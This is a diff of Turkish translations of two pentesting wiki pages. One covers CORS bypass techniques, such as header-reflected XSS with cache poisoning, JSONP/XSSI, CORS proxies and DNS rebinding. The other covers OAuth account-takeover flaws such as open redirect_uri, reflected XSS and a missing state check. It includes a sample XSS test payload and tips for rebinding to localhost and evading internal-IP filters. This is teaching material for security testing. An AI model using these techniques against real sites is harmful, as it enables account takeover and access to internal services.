@ -240,11 +278,11 @@ Depolanan XSS güvenlik açıkları hakkında daha fazla bilgi için [PortSwigge
[**Bu araştırmadan**](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenmektedir. Özellikle, web sayfası `X-User-id` başlığında yer alan içeriği geri yansıtır; bu içerik kötü niyetli JavaScript içerebilir. Örneğin, başlıkta JavaScript kodunu yükleme sırasında çalıştırmak için tasarlanmış bir SVG resim etiketi bulunmaktadır.
Bu senaryoda, uygun kodlama olmadan özel bir HTTP başlığının içeriğini yansıtan bir web sayfası örneği gözlemlenmektedir. Özellikle, web sayfası `X-User-id` başlığında yer alan içeriği geri yansıtır; bu içerik, yükleme sırasında JavaScript kodunu çalıştırmak üzere tasarlanmış bir SVG resim etiketi içerebilecek kötü niyetli JavaScript'i içerebilir.
Cross-Origin Resource Sharing (CORS) politikaları, özel başlıkların gönderilmesine izin verir. Ancak, CORS kısıtlamaları nedeniyle yanıt doğrudan tarayıcı tarafından işlenmediğinde, böyle bir enjeksiyonun faydası sınırlı görünebilir. Kritik nokta, tarayıcının önbellek davranışını dikkate almaktır. Eğer `Vary: Origin` başlığı belirtilmemişse, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonrasında, bu önbelleğe alınmış yanıt, URL'ye gidildiğinde doğrudan işlenebilir ve ilk istekte doğrudan işleme gereksinimini atlayabilir. Bu mekanizma, istemci tarafı önbellekleme kullanılarak saldırının güvenilirliğini artırır.
Cross-Origin Resource Sharing (CORS) politikaları, özel başlıkların gönderilmesine izin verir. Ancak, yanıtın CORS kısıtlamaları nedeniyle tarayıcı tarafından doğrudan işlenmemesi durumunda, bu tür bir enjeksiyonun faydası sınırlı görünebilir. Kritik nokta, tarayıcının önbellek davranışını dikkate almaktır. Eğer `Vary: Origin` başlığı belirtilmemişse, kötü niyetli yanıtın tarayıcı tarafından önbelleğe alınması mümkün hale gelir. Sonrasında, bu önbelleğe alınmış yanıt, URL'ye gidildiğinde doğrudan işlenebilir ve ilk istekte doğrudan işleme gereksinimini atlayabilir. Bu mekanizma, istemci tarafı önbellekleme kullanılarak saldırının güvenilirliğini artırır.
Bu saldırıyı göstermek için, bir web sayfası ortamında çalıştırılmak üzere tasarlanmış bir JavaScript örneği sağlanmıştır; örneğin bir JSFiddle aracılığıyla. Bu script basit bir işlem gerçekleştirir: kötü niyetli JavaScript içeren özel bir başlıkla belirli bir URL'ye istek gönderir. İstek başarıyla tamamlandığında, hedef URL'ye yönelmeye çalışır; eğer yanıt `Vary: Origin` başlığı uygun şekilde işlenmeden önbelleğe alınmışsa, enjekte edilen scriptin çalıştırılmasını tetikleyebilir.
Bu saldırıyı göstermek için, bir web sayfası ortamında çalıştırılmak üzere tasarlanmış bir JavaScript örneği sağlanmıştır; örneğin bir JSFiddle aracılığıyla. Bu script basit bir işlem gerçekleştirir: kötü niyetli JavaScript içeren özel bir başlıkla belirtilen bir URL'ye istek gönderir. İstek başarıyla tamamlandığında, hedef URL'ye yönelmeye çalışır; eğer yanıt `Vary: Origin` başlığı uygun şekilde işlenmeden önbelleğe alınmışsa, enjekte edilen scriptin çalıştırılmasını tetikleyebilir.
Bu saldırıyı gerçekleştirmek için kullanılan JavaScript'in özet bir dökümü:
```html
@ -262,15 +300,15 @@ req.send();
### XSSI (Cross-Site Script Inclusion) / JSONP
XSSI, aynı zamanda Cross-Site Script Inclusion olarak bilinir, script etiketi kullanarak kaynakları dahil ederken Same Origin Policy (SOP) uygulanmadığı gerçeğinden faydalanan bir tür güvenlik açığıdır. Bunun nedeni, scriptlerin farklı alan adlarından dahil edilebilmesi gerekliliğidir. Bu güvenlik açığı, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişip okumasına olanak tanır.
XSSI, aynı zamanda Cross-Site Script Inclusion olarak da bilinir, script etiketi kullanarak kaynakları dahil ederken Same Origin Policy (SOP) uygulanmadığı gerçeğinden faydalanan bir tür güvenlik açığıdır. Bunun nedeni, scriptlerin farklı alan adlarından dahil edilebilmesi gerekliliğidir. Bu güvenlik açığı, bir saldırganın script etiketi kullanılarak dahil edilen herhangi bir içeriğe erişip okumasına olanak tanır.
Bu güvenlik açığı, dinamik JavaScript veya JSONP (Padding ile JSON) söz konusu olduğunda özellikle önemlidir, özellikle kimlik doğrulama için çerezler gibi ortam yetkisi bilgileri kullanıldığında. Farklı bir ana bilgisayardan bir kaynak talep edildiğinde, çerezler dahil edilir ve bu da saldırganın erişimine açılır.
Bu güvenlik açığı, dinamik JavaScript veya JSONP (Padding ile JSON) söz konusu olduğunda özellikle önemlidir, özellikle kimlik doğrulama için çerezler gibi ortam yetkisi bilgileri kullanıldığında. Farklı bir hosttan bir kaynak talep edildiğinde, çerezler dahil edilir ve bu da saldırganın erişimine açılır.
Bu güvenlik açığını daha iyi anlamak ve hafifletmek için [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp) adresinde bulunan BurpSuite eklentisini kullanabilirsiniz. Bu eklenti, web uygulamalarınızdaki potansiyel XSSI güvenlik açıklarını tanımlamaya ve ele almaya yardımcı olabilir.
[**XSSI'nin farklı türleri ve bunları nasıl istismar edeceğiniz hakkında daha fazla bilgi edinin.**](xssi-cross-site-script-inclusion.md)
Talepte bir **`callback`** **parametresi** eklemeyi deneyin. Belki de sayfa verileri JSONP olarak göndermeye hazırlanmıştır. Bu durumda, sayfa `Content-Type: application/javascript` ile verileri geri gönderecek ve CORS politikasını atlatacaktır.
Talepte bir **`callback`** **parametresi** eklemeyi deneyin. Belki de sayfa verileri JSONP olarak göndermeye hazırlanmıştır. Bu durumda, sayfa `Content-Type: application/javascript` ile verileri geri gönderecektir ve bu da CORS politikasını atlatacaktır.
![](<../.gitbook/assets/image (856).png>)
@ -278,7 +316,7 @@ Talepte bir **`callback`** **parametresi** eklemeyi deneyin. Belki de sayfa veri
`Access-Control-Allow-Origin` kısıtlamasını atlatmanın bir yolu, bir web uygulamasından sizin adınıza bir istek yapmasını istemek ve yanıtı geri göndermesidir. Ancak, bu senaryoda, nihai kurbanın kimlik bilgileri farklı bir alan adına yapılan istekle gönderilmeyecektir.
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve ayrıca Origin başlığını istenen alan adıyla eşleşecek şekilde sahte bir şekilde ayarlar. Bu, CORS politikasını etkili bir şekilde atlatır. İşte XMLHttpRequest ile bir örnek kullanım:
1. [**CORS-escape**](https://github.com/shalvah/cors-escape): Bu araç, isteğinizi başlıklarıyla birlikte ileten bir proxy sağlar ve ayrıca İstek alan başlığını istenen alan adıyla eşleşecek şekilde sahte bir şekilde ayarlar. Bu, CORS politikasını etkili bir şekilde atlatır. İşte XMLHttpRequest ile bir örnek kullanım:
2. [**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape): Bu araç, istekleri proxylemek için alternatif bir yaklaşım sunar. İsteğinizi olduğu gibi iletmek yerine, sunucu belirtilen parametrelerle kendi isteğini yapar.
### Iframe + Popup Atlatma
@ -294,47 +332,47 @@ Talepte bir **`callback`** **parametresi** eklemeyi deneyin. Belki de sayfa veri
TTL üzerinden DNS rebinding, DNS kayıtlarını manipüle ederek belirli güvenlik önlemlerini atlatmak için kullanılan bir tekniktir. İşte nasıl çalıştığı:
1. Saldırgan bir web sayfası oluşturur ve kurbanın buna erişmesini sağlar.
2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirecek şekilde değiştirir.
2. Saldırgan daha sonra kendi alan adının DNS (IP) adresini kurbanın web sayfasına yönlendirir.
3. Kurbanın tarayıcısı DNS yanıtını önbelleğe alır; bu yanıtın geçerlilik süresini belirten bir TTL (Time to Live) değeri olabilir.
4. TTL süresi dolduğunda, kurbanın tarayıcısı yeni bir DNS isteği yapar ve bu, saldırgana kurbanın sayfasında JavaScript kodu çalıştırma imkanı tanır.
5. Kurbanın IP'si üzerinde kontrolü sürdürerek, saldırgan kurban sunucusuna herhangi bir çerez göndermeden bilgi toplayabilir.
5. Saldırgan, kurbanın IP'si üzerinde kontrolü sürdürerek, kurban sunucusuna herhangi bir çerez göndermeden bilgi toplayabilir.
Tarayıcıların, bu tekniğin hemen kötüye kullanılmasını önleyebilecek önbellekleme mekanizmalarına sahip olduğunu belirtmek önemlidir; bu, düşük TTL değerleriyle bile geçerlidir.
Tarayıcıların, bu tekniğin hemen kötüye kullanılmasını önleyebilecek önbellekleme mekanizmalarına sahip olduğunu belirtmek önemlidir, hatta düşük TTL değerleriyle bile.
DNS rebinding, kurban tarafından gerçekleştirilen açık IP kontrollerini atlatmak veya bir kullanıcının veya botun uzun bir süre boyunca aynı sayfada kalması durumlarında yararlı olabilir; bu, önbelleğin süresinin dolmasına olanak tanır.
DNS rebinding, kurbanın açık IP kontrollerini atlatmak veya bir kullanıcının veya botun uzun bir süre boyunca aynı sayfada kalması durumlarında yararlı olabilir; bu, önbelleğin süresinin dolmasına olanak tanır.
DNS rebinding'i kötüye kullanmak için hızlı bir yol arıyorsanız, [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html) gibi hizmetleri kullanabilirsiniz.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel 53/udp portunuzu açmayı, ona işaret eden bir A kaydı oluşturmayı (örneğin, ns.example.com) ve daha önce oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmayı içerir (örneğin, ns.example.com). ns.example.com alt alan adının herhangi bir alt alan adı, ardından sizin ana bilgisayarınız tarafından çözülecektir.
Kendi DNS rebinding sunucunuzu çalıştırmak için **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)) gibi araçları kullanabilirsiniz. Bu, yerel 53/udp portunuzu açmayı, ona işaret eden bir A kaydı oluşturmayı (örneğin, ns.example.com) ve daha önce oluşturulan A alt alan adına işaret eden bir NS kaydı oluşturmayı içerir (örneğin, ns.example.com). ns.example.com alt alan adının herhangi bir alt alan adı, ardından sizin hostunuz tarafından çözülecektir.
Ayrıca, daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http://rebind.it/singularity.html) adresinde kamuya açık bir sunucu keşfedebilirsiniz.
Ayrıca, daha fazla anlayış ve deneyim için [http://rebind.it/singularity.html](http://rebind.it/singularity.html) adresinde kamuya açık bir sunucuyu keşfedebilirsiniz.
### DNS Rebinding **DNS Cache Flooding** Üzerinden
DNS cache flooding üzerinden DNS rebinding, tarayıcıların önbellekleme mekanizmasını atlatmak ve ikinci bir DNS isteği zorlamak için kullanılan başka bir tekniktir. İşte nasıl çalıştığı:
1. İlk olarak, kurban bir DNS isteği yaptığında, saldırganın IP adresiyle yanıtlanır.
2. Önbellek savunmasını atlatmak için saldırgan bir hizmet çalışanı kullanır. Hizmet çalışanı DNS önbelleğini doldurur, bu da önbellekteki saldırgan sunucu adını etkili bir şekilde siler.
1. Başlangıçta, kurban bir DNS isteği yaptığında, saldırganın IP adresiyle yanıtlanır.
2. Önbellek savunmasını atlatmak için saldırgan bir hizmet çalışanı kullanır. Hizmet çalışanı, DNS önbelleğini doldurarak, önbellekteki saldırgan sunucu adını etkili bir şekilde siler.
3. Kurbanın tarayıcısı ikinci bir DNS isteği yaptığında, artık 127.0.0.1 IP adresiyle yanıtlanır; bu genellikle localhost'u ifade eder.
Hizmet çalışanıyla DNS önbelleğini doldurarak, saldırgan DNS çözümleme sürecini manipüle edebilir ve kurbanın tarayıcısını ikinci bir istekte bulunmaya zorlayabilir; bu sefer saldırganın istediği IP adresine çözülür.
### DNS Rebinding **Cache** Üzerinden
Önbellek savunmasını atlatmanın bir başka yolu, DNS sağlayıcısında aynı alt alan için birden fazla IP adresi kullanmaktır. İşte nasıl çalıştığı:
Önbellek savunmasını atlatmanın bir başka yolu, DNS sağlayıcısında aynı alt alan adı için birden fazla IP adresi kullanmaktır. İşte nasıl çalıştığı:
1. Saldırgan, DNS sağlayıcısında aynı alt alan için iki A kaydı (veya iki IP ile tek bir A kaydı) oluşturur.
1. Saldırgan, DNS sağlayıcısında aynı alt alan adı için iki A kaydı (veya iki IP ile tek bir A kaydı) oluşturur.
2. Bir tarayıcı bu kayıtları kontrol ettiğinde, her iki IP adresini de alır.
3. Tarayıcı saldırganın IP adresini önce kullanmaya karar verirse, saldırgan aynı alan adına HTTP istekleri gerçekleştiren bir yük sunabilir.
4. Ancak, saldırgan kurbanın IP adresini aldıktan sonra, kurbanın tarayıcısına yanıt vermeyi durdurur.
3. Tarayıcı, saldırganın IP adresini önce kullanmaya karar verirse, saldırgan aynı alan adına HTTP istekleri gerçekleştiren bir yük sunabilir.
4. Ancak, saldırgan kurbanın IP adresini elde ettikten sonra, kurbanın tarayıcısına yanıt vermeyi durdurur.
5. Kurbanın tarayıcısı, alan adının yanıt vermediğini fark ettiğinde, verilen ikinci IP adresini kullanmaya geçer.
6. İkinci IP adresine erişerek, tarayıcı Same Origin Policy (SOP) kuralını atlatır ve saldırganın bunu kötüye kullanmasına ve bilgi toplamasına olanak tanır.
Bu teknik, bir alan için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi istismar edebilir ve kurbandan bilgi alabilir.
Bu teknik, bir alan adı için birden fazla IP adresi sağlandığında tarayıcıların davranışını kullanır. Yanıtları stratejik olarak kontrol ederek ve tarayıcının IP adresi seçimini manipüle ederek, bir saldırgan SOP'yi istismar edebilir ve kurbandan bilgi alabilir.
{% hint style="warning" %}
localhost'a erişmek için Windows'ta **127.0.0.1** ve Linux'ta **0.0.0.0** yeniden bağlamayı denemelisiniz.\
Godaddy veya Cloudflare gibi sağlayıcılar 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, "0.0.0.0" olan 2 IP ile bir A kaydı oluşturmama izin verdi.
localhost'a erişmek için **Windows'ta 127.0.0.1** ve **Linux'ta 0.0.0.0** yeniden bağlamayı denemelisiniz.\
Godaddy veya Cloudflare gibi sağlayıcılar 0.0.0.0 IP'sini kullanmama izin vermedi, ancak AWS route53, 2 IP'si olan bir A kaydı oluşturmama izin verdi; bunlardan biri "0.0.0.0".
<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
{% endhint %}
@ -345,11 +383,11 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
* Eğer **iç IP'ler yasaklanmışsa**, **0.0.0.0'ı yasaklamayı unutmuş olabilirler** (Linux ve Mac'te çalışır)
* Eğer **iç IP'ler yasaklanmışsa**, **localhost** için bir **CNAME** ile yanıt verin (Linux ve Mac'te çalışır)
* Eğer **iç IP'ler** DNS yanıtları olarak yasaklanmışsa, **www.corporate.internal** gibi **iç hizmetlere CNAME'lerle yanıt verebilirsiniz**.
* Eğer **iç IP'ler** DNS yanıtları olarak yasaklanmışsa, **www.corporate.internal** gibi **iç hizmetlere CNAME'ler** ile yanıt verebilirsiniz.
### DNS Rebidding Silahlandırıldı
### DNS Rebidding Silahlandırılmış
Önceki atlatma teknikleri ve aşağıdaki aracı nasıl kullanacağınız hakkında daha fazla bilgi için [Gerald Doussot - DNS Rebinding Saldırıları Durumu & Origin'in Tekilliği - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) konuşmasına bakabilirsiniz.
Önceki atlatma teknikleri ve aşağıdaki aracı nasıl kullanacağınız hakkında daha fazla bilgi için [Gerald Doussot - DNS Rebinding Saldırıları Durumu & Origin'in Tekilliği - DEF CON 27 Konferansı](https://www.youtube.com/watch?v=y9-0lICNjOQ) konuşmasına göz atabilirsiniz.
[**`Origin'in Tekilliği`**](https://github.com/nccgroup/singularity), [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırı sunucusunun DNS adının IP adresini hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki savunmasız yazılımları istismar etmek için gerekli bileşenleri içerir.
@ -358,7 +396,7 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
* İç hizmetlerde TLS kullanın
* Verilere erişim için kimlik doğrulama isteyin
* Host başlığını doğrulayın
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Kamu sunucularının iç sunuculara erişmek istediğinde her zaman bir ön uç isteği göndermeyi öneren öneri
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Kamu sunucuları iç sunuculara erişmek istediğinde her zaman bir ön uç isteği göndermeyi öneren öneri
## **Araçlar**
@ -388,8 +426,8 @@ Daha fazla bilgi için [https://unit42.paloaltonetworks.com/dns-rebinding/](http
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# OAuth to Account takeover
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -23,30 +23,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
OAuth, [OAuth 2.0 belgeleri](https://oauth.net/2/) adresinde erişilebilen temel bilgilerle birlikte çeşitli sürümler sunar. Bu tartışma esas olarak yaygın olarak kullanılan [OAuth 2.0 yetkilendirme kodu hibe türü](https://oauth.net/2/grant-types/authorization-code/) etrafında döner ve **bir uygulamanın başka bir uygulamadaki bir kullanıcının hesabına erişmesini veya eylemler gerçekleştirmesini sağlayan bir yetkilendirme çerçevesi** sunar (yetkilendirme sunucusu).
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site **tüm sosyal medya gönderilerinizi**, özel olanlar da dahil olmak üzere, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılır. _https://example.com_, **sosyal medya gönderilerinize erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ üzerinde **talep edilen izinleri ve talebi yapan geliştiriciyi** belirten bir onay ekranı belirecektir. Onayınızla, _https://example.com_, **adınıza gönderilerinize erişim** sağlama yetkisi kazanır.
Hayali bir web sitesi _**https://example.com**_ düşünün; bu site **tüm sosyal medya gönderilerinizi**, özel olanlar da dahil olmak üzere, **sergilemek** için tasarlanmıştır. Bunu başarmak için OAuth 2.0 kullanılır. _https://example.com_, **sosyal medya gönderilerinize erişim** izni talep edecektir. Sonuç olarak, _https://socialmedia.com_ adresinde, **talep edilen izinler ve talebi yapan geliştirici** hakkında bilgi veren bir onay ekranı belirecektir. Onayınızla, _https://example.com_ **adınıza gönderilerinize erişim** elde eder.
OAuth 2.0 çerçevesindeki aşağıdaki bileşenleri anlamak önemlidir:
* **resource owner**: Siz, **kullanıcı/varlık** olarak, sosyal medya hesabı gönderileriniz gibi kaynağınıza erişim izni verirsiniz.
* **resource server**: **Erişim token'ı** almış uygulamanın kimlik doğrulama isteklerini yöneten **sunucu**, örneğin, **https://socialmedia.com**.
* **client application**: `resource owner`'dan yetkilendirme talep eden **uygulama**, örneğin, **https://example.com**.
* **authorization server**: `resource owner`'ın başarılı bir şekilde kimlik doğrulamasını yaptıktan sonra `client application`'a **`access tokens`** veren **sunucu**, örneğin, **https://socialmedia.com**.
* **resource owner**: Siz, **kullanıcı/varlık** olarak, sosyal medya hesabınızdaki gönderiler gibi kaynaklarınıza erişim izni verirsiniz.
* **resource server**: Uygulamanın `resource owner` adına bir `access token` güvence altına aldıktan sonra **kimlik doğrulama isteklerini yöneten sunucu**, örneğin, **https://socialmedia.com**.
* **client application**: `resource owner`dan yetkilendirme talep eden **uygulama**, örneğin **https://example.com**.
* **authorization server**: `resource owner`ın başarılı bir şekilde kimlik doğrulamasını yaptıktan sonra `client application`a `access tokens` veren **sunucu**, örneğin, **https://socialmedia.com**.
* **client\_id**: Uygulama için kamuya açık, benzersiz bir tanımlayıcı.
* **client\_secret:** Sadece uygulama ve yetkilendirme sunucusu tarafından bilinen, `access_tokens` oluşturmak için kullanılan gizli bir anahtar.
* **response\_type**: **Talep edilen token türünü** belirten bir değer, örneğin `code`.
* **scope**: `client application`'ın `resource owner`'dan talep ettiği **erişim seviyesi**.
* **redirect\_uri**: **Kullanıcının yetkilendirmeden sonra yönlendirileceği URL**. Bu genellikle önceden kaydedilmiş yönlendirme URL'si ile uyumlu olmalıdır.
* **state**: **Kullanıcının yetkilendirme sunucusuna yönlendirilmesi sırasında verileri korumak için** bir parametre. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet etmesi için kritik öneme sahiptir.
* **grant\_type**: **Hibe türünü ve döndürülecek token türünü** belirten bir parametre.
* **code**: `authorization server`'dan alınan yetkilendirme kodu, `client application` tarafından `access_token` almak için `client_id` ve `client_secret` ile birlikte kullanılır.
* **access\_token**: `resource owner` adına API istekleri için `client application`'ın kullandığı **token**.
* **response\_type**: **istenen token türünü belirten** bir değer, örneğin `code`.
* **scope**: `client application`ın `resource owner`dan talep ettiği **erişim seviyesi**.
* **redirect\_uri**: **yetkilendirmeden sonra kullanıcının yönlendirileceği URL**. Bu genellikle önceden kaydedilmiş yönlendirme URL'si ile uyumlu olmalıdır.
* **state**: **kullanıcının yetkilendirme sunucusuna yönlendirilmesi sırasında verileri korumak için** bir parametre. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet etmesi için kritik öneme sahiptir.
* **grant\_type**: **hibe türünü ve döndürülecek token türünü belirten** bir parametre.
* **code**: `authorization server`dan alınan yetkilendirme kodu; `client application` tarafından `access_token` almak için `client_id` ve `client_secret` ile birlikte kullanılır.
* **access\_token**: `resource owner` adına API istekleri için `client application`ın kullandığı **token**.
* **refresh\_token**: Uygulamanın **kullanıcıyı yeniden istemeden yeni bir `access_token` almasını** sağlar.
### Flow
**Gerçek OAuth akışı** şu şekilde ilerler:
1. [https://example.com](https://example.com) adresine gidersiniz ve “Sosyal Medya ile Entegre Ol” butonuna tıklarsınız.
1. [https://example.com](https://example.com) adresine gidersiniz ve “Sosyal Medya ile Entegre Ol” butonunu seçersiniz.
2. Site, https://example.com uygulamasının gönderilerinize erişim izni talep etmek için [https://socialmedia.com](https://socialmedia.com) adresine bir istek gönderir. İstek şu şekilde yapılandırılmıştır:
```
https://socialmedia.com/auth
@ -57,7 +57,7 @@ https://socialmedia.com/auth
&state=randomString123
```
3. Ardından bir onay sayfası ile karşılaşırsınız.
4. Onayınızı takiben, Sosyal Medya `code` ve `state` parametreleri ile `redirect_uri`'ye bir yanıt gönderir:
4. Onayınızı takiben, Sosyal Medya `code` ve `state` parametreleri ile birlikte `redirect_uri`'ye bir yanıt gönderir:
```
https://example.com?code=uniqueCode123&state=randomString123
```
@ -73,9 +73,9 @@ Host: socialmedia.com
### Açık yönlendirme\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir ve hesap ele geçirme olasılığını artırır.
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik için kritik öneme sahiptir, çünkü yetkilendirme kodları gibi hassas verilerin yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü niyetli sunuculara yönlendirmesine izin verebilir, bu da hesap ele geçirmeye yol açabilir.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleştirmeden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin istismarı ve token hırsızlığı için HTML enjeksiyonu yer alır.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Katı yol eşleştirmeden, belirtilen alan veya alt dizin içindeki herhangi bir URL'yi kabul etmeye kadar değişebilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin sömürülmesi ve token hırsızlığı için HTML enjeksiyonu yer alır.
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına karşı hassastır. Bu parametreler isteğe bağlıdır ve destekleri sunucular arasında değişiklik gösterir.
@ -83,24 +83,24 @@ OpenID sunucusunu hedef alanlar için, keşif uç noktası (`**.well-known/openi
### Yönlendirme uygulamasında XSS <a href="#bda5" id="bda5"></a>
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), yönlendirme **URL'sinin sunucunun yanıtında yansıtılması** mümkün olabilir, bu da **XSS'ye karşı savunmasız** hale getirir. Test etmek için olası yük:
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html), yönlendirme **URL'sinin, kullanıcı kimlik doğruladıktan sonra sunucunun yanıtında yansıtılması** mümkün olabilir ve bu durum **XSS'ye karşı savunmasızdır**. Test etmek için olası yük:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - State parametresinin yanlış yönetimi <a href="#bda5" id="bda5"></a>
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin ya **kullanılmaması, statik bir değer olarak kullanılması veya düzgün bir şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına olanak tanır.
OAuth uygulamalarında, **`state` parametresinin** kötüye kullanımı veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresi **kullanılmadığında, statik bir değer olarak kullanıldığında veya düzgün bir şekilde doğrulanmadığında** ortaya çıkar ve saldırganların CSRF korumalarını atlamasına olanak tanır.
Saldırganlar, yetkilendirme sürecini keserek kendi hesaplarını bir mağdurun hesabıyla ilişkilendirebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
Saldırganlar, yetkilendirme sürecini kesintiye uğratarak kendi hesaplarını bir mağdurun hesabıyla ilişkilendirebilir, bu da potansiyel **hesap ele geçirmelerine** yol açar. Bu, OAuth'un **kimlik doğrulama amaçları** için kullanıldığı uygulamalarda özellikle kritik öneme sahiptir.
Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **hacking platformları** üzerinde belgelenmiştir ve pratik etkilerini vurgulamaktadır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanmakta, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilir.
Bu zafiyetin gerçek dünya örnekleri, çeşitli **CTF yarışmaları** ve **hacking platformları** üzerinde belgelenmiştir ve pratik etkilerini vurgulamaktadır. Sorun, saldırganların bildirimleri veya ödemeleri kendi hesaplarına yönlendirebileceği **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanmaktadır.
**`state` parametresinin** doğru yönetimi ve doğrulanması, CSRF'ye karşı korunmak ve OAuth akışını güvence altına almak için kritik öneme sahiptir.
